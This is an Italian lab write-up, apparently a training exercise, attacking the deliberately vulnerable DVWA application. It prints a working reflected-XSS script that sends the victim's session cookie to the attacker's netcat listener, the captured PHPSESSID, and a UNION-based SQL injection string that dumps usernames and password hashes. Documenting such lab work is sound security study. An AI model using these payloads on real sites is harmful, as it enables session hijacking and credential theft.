

XSS & SQL INJECTION - EXPLOIT DVWA

In questo scenario abbiamo sfruttato le vulnerabilità della macchina DVWA installata su Metasploitable.

Il primo attacco che abbiamo eseguito è l'XSS Reflected, questo tipo di attacco XSS si verifica quando un sito o una web app non filtrano gli input dell'utente, pertanto un malintenzionato può inserire del codice malevolo che viene subito riportato in output dal sito.

In questo preciso scenario abbiamo realizzato uno script javascript che leggeva il cookie di sessione e lo inviava al nostro server in ascolto, per farlo abbiamo utilizzato Netcat.

Per prima cosa ho avviato all'ascolto a netcat sulla porta 80 tramite il comando **nc -l -p 80**, dopodichè ci rechiamo sulla DVWA da browser KALI e inseriamo il nostro script che riporto di seguito, specificando l'indirizzo IP della nostra macchina Kali.

```
<script>var xhttp=new  
XMLHttpRequest();xhttp.open("POST","http://192.168.1.121".true);xhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xhttp.send("cookies="+document.cookie);</script>
```

Infine su Netcat vedremo che viene stampato l'ID di sessione del cookie.
Di seguito i risultati:

The image shows a screenshot of the DVWA (Damn Vulnerable Web Application) interface. The page title is "Vulnerability: Reflected Cross Site Scripting (XSS)". On the left, there is a sidebar with navigation links: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, SQL Injection (Blind), Upload, XSS reflected (highlighted), XSS stored, DVWA Security, PHP Info, About, and Logout. The main content area shows a form with the text "What's your name?" and a "Submit" button. Below the form, it says "Hello". There is also a "More info" section with links to external resources. At the bottom, it shows "Username: admin", "Security Level: low", and "PHPIDS: disabled".

Overlaid on the right side of the screenshot is a terminal window running Netcat. The terminal shows the following output:

```
root@kali: /home/kali  
# nc -l -p 80  
POST / HTTP/1.1  
Host: 192.168.1.121  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-type: application/x-www-form-urlencoded  
Content-Length: 64  
Origin: http://192.168.1.33  
Connection: keep-alive  
Referer: http://192.168.1.33/  
  
cookies=security=low; PHPSESSID=7ad34d4ea76f31f7e50a09020f9243bf
```

Per verificare che non ci siano ulteriori sistemi di sicurezza ad esempio con l'associazione dell'indirizzo ip proviamo ad aprire una finestra nel browser con navigazione in incognito, ci rechiamo sullo stesso indirizzo della DVWA e tramite console sviluppatori andiamo a modificare il valore del session id nei cookie e ricarichiamo la pagina, noteremo che appunto siamo automaticamente loggati, questo è un chiaro esempio di come è stata rubato il cookie session id di un utente ingannando il server.

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

WARNING!

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or any internet facing web server as it will be compromised. We recommend downloading and installing [XAMPP](#) onto a local machine inside your LAN which is used solely for testing.

Disclaimer

We do not take responsibility for the way in which any one uses this application. We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.

General Instructions

Name	Value	Domain	Path	Expires / Max-Age	Size	HttpOnly	Secure	SameSite	Last Accessed
PHPSES...	7ad34d4ea76f...	192.168.1.33	/	Session	43	false	false	None	Tue, 05 Nov 2024 1...
security	low	192.168.1.33	/dvwa	Session	11	false	false	None	Tue, 05 Nov 2024 1...

Come secondo attacco ho eseguito un SQL INJECTION questo ci permette tramite delle query di poter interagire con il database della webapp, in questo caso ho fatto stampare password e utenti con la seguente query:

%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

